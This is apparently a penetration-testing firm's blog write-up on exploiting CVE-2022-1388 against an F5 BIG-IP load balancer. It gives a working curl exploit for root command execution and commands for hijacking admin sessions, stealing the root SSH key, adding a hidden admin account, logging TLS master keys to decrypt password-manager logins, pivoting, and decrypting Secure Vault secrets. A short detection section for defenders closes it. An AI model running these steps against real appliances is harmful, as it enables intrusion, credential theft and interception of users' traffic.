Published on Wed 29 May 2024 by @lowercase_drm, myst404 (@myst404_)
During a recent engagement, Almond OffSec members were able to obtain privileged access by compromising a load balancer. The OffSec team used the CVE-2022-1388 to gain access to a BIG-IP appliance as the root user. The root cause of this vulnerability is beyond the scope of this blog post, but it is explained here. While this CVE is known to be used by various threat actors, post exploitation scenarios were not well documented at the time of the engagement. After confirming that the target was vulnerable, the team started to find ways to leverage this vulnerability to compromise the target assets. By performing a man-in-the-middle attack on an F5 BIG-IP appliance set to load balance a password manager, they were able to retrieve valid credentials for the application, access the password manager and compromise the whole Windows domain - without performing a single AD attack. This article illustrates the MITM attack setup on the F5 appliance.
NOTE: All tests depicted below were performed on F5 BIG-IP 16.1.2-0.0.18 LTM installed from the official VMWare image for this version (sha256: aff4610bdb4f4067c7305a63a7a27f24c47dbf99e55fbed79eed3de3796b5fd6).
Table of Contents
- Initial access
- BIG-IP local account takeover
- Performing TLS MiTM
- Bonus: enable SSH port forwarding
- Secure Vault - Decrypt secrets
- Detection - A note for Blue Teams
1. Initial access
As explained above, the compromission starts by exploiting the CVE-2022-1388 on an outdated BIG-IP install. A lot of standalone exploits are available on the Internet but we choose to keep it simple with a curl and jq PoC within a zsh function.
user@attackervm:~ $ function remoteshell
{
curl -s -k -X $'POST' -H $'Host: localhost:8443' -H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: 0' -H 'Content-Type: application/json' \
--data-binary $'{"command\":\"run\","utilCmdArgs\":\"-c \''$1$'\'\"}' $'https://f5-bigip.local/mgmt/tm/util/bash' | jq '.commandResult' -r
}
NOTE: Keep in mind to let Host: localhost:8443 in the payload and only change f5-bigip.local to the targeted appliance domain name or IP address.
Then, it is possible to execute arbitrary commands on the BIG-IP from the attacker's console.
user@attackervm:~ $ remoteshell whoami
root
user@attackervm:~ $ remoteshell hostname
f5-bigip.local
user@attackervm:~ $ remoteshell "ls -l /"
total 93
-rw-r--r--. 1 root root 0 Oct 26 2021 1
-r-xr-xr-x. 1 root root 2379 Oct 23 2021 CONTACTS
-r-xr-xr-x. 1 root root 994 Oct 23 2021 COPYRIGHT
-rw-r--r--. 1 root root 706 Feb 2 15:36 HWINFO
-rw-r--r--. 1 root root 55 Jan 18 15:22 PLATFORM
-r-xr-xr-x. 1 root root 1148 Oct 23 2021 VENDOR
lrwxrwxrwx. 1 root root 11 Oct 26 2021 VERSION -> VERSION.LTM
-rw-r--r--. 1 root root 0 Oct 23 2021 VERSION.ASM
-rw-r--r--. 1 root root 195 Oct 26 2021 VERSION.LTM
-rw-r--r--. 1 root root 25 Oct 23 2021 VERSION.WA
-rw-r--r--. 1 root root 0 Oct 23 2021 VERSION.WOC
drwxr-xr-x. 5 root root 1024 Jan 18 15:22 appdata
lrwxrwxrwx. 1 root root 7 Oct 26 2021 bin -> usr/bin
dr-xr-xr-x. 3 root root 1024 Oct 26 2021 boot
drwxr-xr-x. 2 root root 1024 Oct 26 2021 command
[...]
drwxrwxrwt. 9 root root 4096 Feb 2 20:23 tmp
lrwxrwxrwx. 1 root root 7 Oct 26 2021 ts -> /var/ts
drwxr-xr-x. 20 root root 4096 Oct 26 2021 usr
drwxr-xr-x. 56 root root 4096 Feb 2 15:36 var
Initial access can also be obtained by other classical means such as password bruteforcing. The focus of this article is the post-exploitation phase, so the above method is only an example.
2. BIG-IP local account takeover
Cookies
Session cookies for the management console can be found within the /tmp folder. Thus, via remote code execution it is possible to hijack web sessions.
user@attackervm:~ $ remoteshell "grep --color BIGIPAuthCookie /tmp/sess* | sed -s 's/;/;\n/g'"
is_cluster_until|i:1706943205;
saved_is_cluster|s:5:"false";
saved_is_primary_cluster|s:5:"false";
saved_cluster_slot|s:1:"0";
num_slots_in_cluster|i:0;
BIGIPAuthCookie|s:40:"9EqdG7NWjg9IQTzwt2UPtuADjgbgo3YjilapF4ep";
license_until|i:1706943205;
saved_license_data|s:316:"a:11:{s:14:"bewaf_licensed";
i:0;
s:11:"asm_enabled";
i:1;
s:11:"dos_enabled";
[...]
Then, go to https://f5-bigip.local/xui/ and change the value of the BIGIPAuthCookie cookie within the browser.
SSH Key
If access to the web management interface is not possible (e.g. no current admin session), direct SSH access is also obtainable, as the root user SSH key is stored in /root/.ssh/identity.
user@attackervm:~ $ remoteshell "cat /root/.ssh/identity" | tee root.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3ReSui+CCKTohtIDCjfv3VKsayshJMPKTcvYc0pyz62lOne8
oI49Gg4JsP/NtiXSyxdw/yCmHFVvVtkti3qCyP7CC5g6MpM3DNmI7Yg7AAUGEV9F
[...]
N+UceQKBgQDToJUPiRKO5hBn/8pFO9icRmTR1LjIuromHadvpn2HeF4R9Bvr1MJ/
8N8D8uEjzWRHt3KML8NsYEqyMcS51/7M1vA5DzRLQMh82UDdsmjk/0Mur0zaI18V
p+bgjri6ArFjlpiETjHkJX46kly1TbX2MjkWuNYTdXJxraLjpkqKGw==
-----END RSA PRIVATE KEY-----
user@attackervm:~ $ ssh root@192.168.1.23 -i root.key
Last login: Fri Feb 2 20:29:16 2024 from 192.168.1.16
[root@f5-bigip:Active:Standalone] config $ whoami
root
[root@f5-bigip:Active:Standalone] config $
Crack a local user account
The tmsh utility can be used to retrieve local user hashes.
user@attackervm:~ $ remoteshell "tmsh list auth"
auth password-policy { }
auth remote-role { }
auth remote-user { }
auth source { }
auth user admin {
description "Admin User"
encrypted-password $6$oR01jN/D$toxHxFLgD63pN/7OUK7nCb7kWDJSh3sxl34285a5wSmfZyR7vQxO/tEc2abq/ikaqHm3Dxh0JlxAq54K8LAZN.
partition Common
partition-access {
all-partitions {
role admin
}
}
session-limit -1
shell none
}
$6$ is known to be a classic Linux password hash (salted SHA-512) and obviously, hashcat implements it.
However, keep in mind that a strong password policy is enabled by default on BIG-IP.
Add a local user account
The tmsh utility can be also used to create a local account on the target, but this option is a less OPSEC-safe method.
user@attackervm:~ $ # In the following command "support" is the name of the account and "MyPasswordIsStrong" its password
user@attackervm:~ $ remoteshell "tmsh create auth user support password MyPasswordIsStrong partition-access add { all-partitions { role admin }} shell bash"
user@attackervm:~ $ remoteshell "tmsh list auth "
auth password-policy { }
auth remote-role { }
auth remote-user { }
auth source { }
auth user admin {
[...]
}
auth user support {
description support
encrypted-password $6$BBVkUnSQ$Cip7B6/IkjRMJSMPody85ZXh4x5m8uO6N3JG7J.4gBClbqot7KtKmRJ9nt1fmbhY4udADNKIWjpUiUNvDRcow/
partition Common
partition-access {
all-partitions {
role admin
}
}
session-limit -1
shell bash
}
By default, the only local accounts allowed to manage the BIG-IP are root and admin. To bypass this, the rogue account must be added to the localusers file:
user@attackervm:~ $ remoteshell "echo -n 'support' >> /config/bigip/auth/localusers"
user@attackervm:~ $ ssh support@f5-bigip.local
(support@f5-bigip.local) Password:
Last login: Sat Feb 3 01:08:21 2024 from 192.168.1.16
[support@f5-bigip:Active:Standalone] ~ $ whoami
root
[support@f5-bigip:Active:Standalone] ~ $
support can also be used through the web management interface.
NOTE: The file /config/bigip/auth/localusers is auto-generated and should not be manually edited. After a system reboot this configuration will be lost.
3. Performing TLS MiTM
iRule based
According to the documentation:
An iRule is a script that you write if you want to make use of some of the extended capabilities of the BIG-IP that are unavailable via the CLI or GUI. iRules allow you to more directly interact with the traffic passing through the device. [...] The commands at your disposal range from logging to redirecting traffic, from modifying the URI or port to actually rewriting the payload itself.
Conveniently, iRules can be used to log the TLS session ID and the TLS session secret of the TLS connection. Those two values can be loaded into Wireshark in order to decrypt the captured traffic.
WebUI
Once access to the web management interface has been obtained, it is possible to display the load balanced apps by clicking on the Network Map menu (Local Traffic → Network Map).
To create an iRule, click on Local Traffic → Virtual Servers → iRules, then Create. Create the following iRule:
when CLIENTSSL_HANDSHAKE {
log local0. "RSA Session-ID:[SSL::sessionid] Master-Key:[SSL::sessionsecret]"
}
This rule will log the TLS session key in the LTM log file upon each TLS handshake.
The newly created iRule must be linked with a virtual server to enable it. Click on Local Traffic → Virtual Servers, then choose the virtual server to perform MiTM on.
Then click on the Resources tab, Manage button and move your iRule from Available list to Enabled list.
It is possible to confirm that the rule is enabled within the Network Map.
tmsh
All the previous setup can also be done through the CLI (SSH or RCE) via the tmsh utility.
user@attackervm:~ $ # create the iRule
user@attackervm:~ $ remoteshell 'tmsh create ltm rule /Common/irule_decrypt when CLIENTSSL_HANDSHAKE {log local0. \"RSA Session-ID:[SSL::sessionid] Master-Key:[SSL::sessionsecret]\" }'
user@attackervm:~ $ # add the iRule to the application virtual server
user@attackervm:~ $ remoteshell 'tmsh modify ltm virtual PasswordManagerVirtualServer rules {/Common/irule_decrypt}'
user@attackervm:~ $
tcpdump all the things
Before launching the capture, debug variables must be enabled on the system.
[support@f5-bigip:Active:Standalone] ~ $ # first check the 3 values to restore them later
[support@f5-bigip:Active:Standalone] ~ $ tmsh list /sys db log.ssl.level
sys db log.ssl.level {
value "Warning"
}
[support@f5-bigip:Active:Standalone] ~ $ tmsh list /sys db tm.rstcause.log
sys db tm.rstcause.log {
value "disable"
}
[support@f5-bigip:Active:Standalone] ~ $ tmsh list /sys db tm.rstcause.pkt
sys db tm.rstcause.pkt {
value "disable"
}
[support@f5-bigip:Active:Standalone] ~ $ tmsh modify /sys db log.ssl.level value debug
[support@f5-bigip:Active:Standalone] ~ $ tmsh modify /sys db tm.rstcause.log value enable
[support@f5-bigip:Active:Standalone] ~ $ tmsh modify /sys db tm.rstcause.pkt value enable
Then launch tcpdump. A lot of traffic goes through a production load balancer, thus, we recommend setting a strict capture filter (by destination IP for example) in order to keep the capture size small. Stop when enough packets are captured. You can also limit the number of captured packets by using the tcpdump option -c.
[root@f5-bigip:Active:Standalone] ~ $ tcpdump -vvv -n -ni 0.0:n "port 443 and host 10.0.0.1" -w /shared/dump.pcap
tcpdump: listening on 0.0:n, link-type EN10MB (Ethernet), capture size 65535 bytes
^C173 packets captured
173 packets received by filter
0 packets dropped by kernel
TLS secrets are stored within the /var/log/ltm log file. They can be extracted using a pattern to produce a Wireshark-friendly secrets file:
[support@@f5-bigip:Active:Standalone] ~ $ sed -e 's/^.*\(RSA Session-ID\)/\1/;tx;d;:x' /var/log/ltm
RSA Session-ID:b268b48206ac28679b308c8b6ef5d0ef7a480bf6038c77125cd5edfe3e8520ff Master-Key:604892a768a640cb94c8288e07a12a864c9d70fb61d946cf920fb555880abf49d65d66e6d2209c8309edbe3a6b41a279
RSA Session-ID:668c8946fb103c6aced562cfe2d96473ccacd7321f10831ea87141bab269b483 Master-Key:a78e24997881e77cfd15d8c928a941db9c8f4c621047bf85eadc6d4d14d1b8585ff23043ea7581e33a5225ece7b4f221
RSA Session-ID:2218a4b2775d19960be09abbdea5c01eda5731a2be10adc6e265ddaeae35102f Master-Key:69a26c0126b8b3578a290222e0a51c6cdede7936ea078294eecbe43a7f621b228ddeb1bf72c2bcd5813ae422726e781a
RSA Session-ID:2218a4b2775d19960ae194bbdea5c01ed85731a2be10adc6e665ddaeae35102f Master-Key:9cdf548b00259ad063035dfed0dd4f9a4f045fe6fa834d8c6ee19c0c6c8a1473a3198b43731ee5a2b03d5b87c1965e48
RSA Session-ID:6ac02c9b3f8521fe53890ea3a6cdc88616afb9caf6e8b56e1e0d65d6765d1897 Master-Key:9c608cadcb99b6081708d12fd7a9aa178abf8583192d992d810ac19dcc17e3882af49b32ac6ba603f033700c3cf96a8c
Wireshark
The capture file can be retrieved from the F5 appliance via scp, and opened using Wireshark.
To decrypt packets, go to Edit → Preferences → Protocols → TLS and set the file containing the TLS secrets.
Wireshark can now decrypt the TLS traffic.
Retrieving credentials used on the target server (in our case, a password manager login interface) is now easy.
F5 custom tcpdump based
According to the documentation and official training material:
Beginning with v15.x of BIG-IP there is a tcpdump option that has been added that removes the requirement for an iRule to create a Pre Master Secret file.
Indeed, it is possible to use the --f5 ssl to include TLS secrets within the pcap file. But first, the option needs to be enabled in the global config.
[root@f5-bigip:Active:Standalone] config $ tmsh list /sys db tcpdump.sslprovider
sys db tcpdump.sslprovider {
value "disable"
}
[root@f5-bigip:Active:Standalone] config $ tmsh modify /sys db tcpdump.sslprovider value enable
[root@f5-bigip:Active:Standalone] config $ tmsh list /sys db tcpdump.sslprovider
sys db tcpdump.sslprovider {
value "enable"
}
Then, run the same tcpdump command as before and add the custom flag.
[root@f5-bigip:Active:Standalone] config $ tcpdump -vvv -n -ni 0.0:n "port 443 and host 10.0.0.1" --f5 ssl -w /shared/dump_with_f5_ssl_option.pcap
tcpdump: WARNING: Using the "ssl" option captures additional information related to the SSL/TLS connections, such as master secrets. This enables some packet capture analysis tools to decrypt the SSL/TLS payload in the captured packets. Use only as needed for troubleshooting purposes, and handle captured data with caution.
tcpdump: listening on 0.0:n, link-type EN10MB (Ethernet), capture size 65535 bytes
^C155 packets captured
155 packets received by filter
0 packets dropped by kernel
TLS secrets are now embedded within the F5 Ethernet Trailer.
tshark can be used to extract the secrets from the capture.
user@attackervm:~ $ tshark -r dump_with_f5_ssl_option.pcap -e "f5ethtrailer.tls.keylog" -Tfields | sort -u | tail -n +2
CLIENT_RANDOM 64ecab492ba83100f649c5e74e04124a95401c688e92519db9c878050dc01aa8 45c51b1fbcf19f89ff183937fb846fa64ccf851b7139bcb3031f252148730ab9db3a05322a0e0cdf8135fb0ffa3a0d74
CLIENT_RANDOM 9283d44d4e36493e6037451916fceeed0de896f6b5bf5c40cfc34215c5c342bb 0e7ac9985f6d40b438f6f77c7a06954b590292042be59b7a2bd97668beeac078c6ee7e53db87b6c4d764561889085319
CLIENT_RANDOM b7e1c1bc6c292dd197ee40f8f770f58b25e593ec2ede19d90cc365065442ec4b 934061167c7ef64e78b6b0e3ea4b98a1afea6e657db1dd8857e54311073d79a40c7b566cd4e3e6898f827f5c46101dab
CLIENT_RANDOM d77a15a1b963c383f8534c0059953fca7e25ff02ca79166ae38232c5c0d79f42 7a7b52ce2efe41257819bd81309a569aa8dd136ff1d0ad32d8ec140e1c5f4fa397feec68f66e965a24d9df9f4c005b3b
Having the capture and the secrets, the Wireshark procedure described above can be followed.
4. Bonus: enable SSH port forwarding
By default, SSH TCP forwarding is not enabled on BIG-IP. Enabling it allows the usage of the device as a pivot.
[root@f5-bigip:Active:Standalone] ~ $ chmod +w /var/run/config/sshd_config
[root@f5-bigip:Active:Standalone] ~ $ sed -i 's/AllowTcpForward no/AllowTcpForward yes/'
[root@f5-bigip:Active:Standalone] ~ $ chmod -w /var/run/config/sshd_config
[root@f5-bigip:Active:Standalone] ~ $ systemctl restart sshd
5. Secure Vault - Decrypt secrets
Instead of being stored in cleartext, sensitive values like secrets are stored in the "Secure Vault". According to the documentation and whitepaper:
The Secure Vault feature provides an additional layer of security to the BIG-IP system by encrypting passwords and passphrases, which the system stores in its configuration files. [...]
Secure Vault, a super-secure SSL-encrypted storage system introduced in BIG-IP version 9.4.5, allows passphrases to be stored in an encrypted form on the file system.
Passwords and passphrases that the Secure Vault encrypts include RADIUS secrets or imported SSL key passhrases for example.
How to access and decrypt secrets in the Secure Vault?
Getting encrypted values
The first step is to get the encrypted secrets stored in the Secure Vault. The secrets begin with a $M$ prefix and are stored in .conf files in the /config directory.
[root@f5-bigip:Active:Standalone] ~ $ grep '\$M\$' /config/*.conf -C 2
/config/bigip.conf-}
/config/bigip.conf-auth radius-server /Common/monserveur {
/config/bigip.conf: secret $M$UG$/cm9/FWJU6YDLMaawPLAZ6hAME8Bo7vh/BNwZGG2zHk=
/config/bigip.conf- server 10.0.13.37
/config/bigip.conf-}
--
/config/bigip.conf-}
/config/bigip.conf-ltm auth radius-server /Common/monserveur {
/config/bigip.conf: secret $M$UG$/cm9/FWJU6YDLMaawPLAZ6hAME8Bo7vh/BNwZGG2zHk=
/config/bigip.conf- server 10.0.13.37
/config/bigip.conf-}
--
/config/bigip.conf-sys file ssl-key /Common/f5_api_com.key {
/config/bigip.conf- cache-path /config/filestore/files_d/Common_d/certificate_key_d/:Common:f5_api_com.key_100253_1
/config/bigip.conf: passphrase $M$34$yVG6a0axViZUMIMScoE+wOJZ361bh2egPnur8EvtiQ+L8n6uGjeOL9yOc/xaYi1K2UuYLen0bJCL287jGXUGmo6ZsuDKnvJvVF4bgpj96II=
/config/bigip.conf- revision 1
/config/bigip.conf- source-path file:///config/ssl/ssl.key/f5_api_com.key
In the above example, a RADIUS secret is defined with the value $M$UG$/cm9/FWJU6YDLMaawPLAZ6hAME8Bo7vh/BNwZGG2zHk=.
Getting the master key
Use the built-in f5mku utility to get the cleartext master key and convert it to hexadecimal.
[root@f5-bigip:Active:Standalone] ~ $ f5mku -K | base64 -d | xxd -p
a9292a6cde3745c55a5e3e0093cd5d0f
Decrypting secrets
OpenSSL can then be used on the attacker's machine to decrypt the secrets:
$ echo "/cm9/FWJU6YDLMaawPLAZ6hAME8Bo7vh/BNwZGG2zHk=" | openssl enc -base64 -aes-128-ecb -d -K 'a9292a6cde3745c55a5e3e0093cd5d0f'
UGsecretradius1337%
The first 2 characters must be removed in order to recover the real secret. Indeed, notice that the UG prefix appears in the original hash: $M$UG$/cm9/FWJU6YDLMaawPLAZ6hAME8Bo7vh/BNwZGG2zHk=. These characters are probably used to verify that the decryption was performed correctly.
6. Detection - A note for Blue Teams
As stated in the 2023 ANSSI Cyber Threat Overview, edge devices are more and more targeted by attackers partly because they are seldom supervised, in particular through logs, antivirus software or EDR, which makes the detection of attackers more difficult.
Here are a few ways to detect the aforementioned post-exploitation techniques:
- Apply security patches as soon as provided by the vendor
- Monitor the file
/config/bigip/auth/localusers - Monitor the modification of sensitive debug variables:
log.ssl.leveltcpdump.sslprovider
- Monitor usage of the
f5mkuutility